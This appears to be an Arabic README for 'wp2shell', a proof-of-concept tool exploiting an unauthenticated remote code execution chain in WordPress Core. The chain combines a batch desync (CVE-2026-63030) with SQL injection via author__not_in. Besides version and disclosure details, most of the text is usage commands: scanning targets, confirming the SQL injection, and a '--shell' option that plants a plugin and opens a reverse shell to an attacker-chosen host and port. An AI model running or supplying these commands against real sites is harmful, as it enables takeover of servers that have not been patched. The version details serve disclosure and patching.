mverschu/cve-2026-63030استغلال (PoC) لثغرة RCE بدون مصادقة في WordPress Core المعروفة باسم WP2Shell
| الاسم | wp2shell |
| CVEs | CVE-2026-63030 (عدم تزامن الدفعات), CVE-2026-60137 (حقن SQL عبر author__not_in) |
| المتأثر | WordPress 6.9.0 إلى 6.9.4, 7.0.0 إلى 7.0.1 |
| تم الإصلاح في | 6.9.5, 7.0.2 |
| المصادقة المطلوبة | لا شيء |
| اكتشفه | Adam Kues (Searchlight Cyber / Assetnote) |
المضيف المجرد = كشف النطاق تلقائيًا (يحاول https:// ثم http://). أضف http:// أو https:// فقط عندما تريد فرض نطاق معين.
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing confirm
wp2shell target.example --confirm-sqli
# SQLi -> oEmbed/admin bridge -> plugin -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
| العلم | الوظيفة |
|---|---|
--shell [LHOST [LPORT]] | سلسلة RCE القياسية; LHOST الافتراضي هو عنوان IP لهذا الجهاز، LPORT هو 443 |
--rest-route | حاول استخدام /?rest_route=/batch/v1 أولاً |
--verify-tls | تحقق من شهادات TLS (مغلق افتراضيًا للمختبر/الشهادات الذاتية التوقيع) |
--proxy URL | إرسال الحركة المرورية عبر وسيط (proxy) |
--force | تجاوز التعرف على ووردبريس |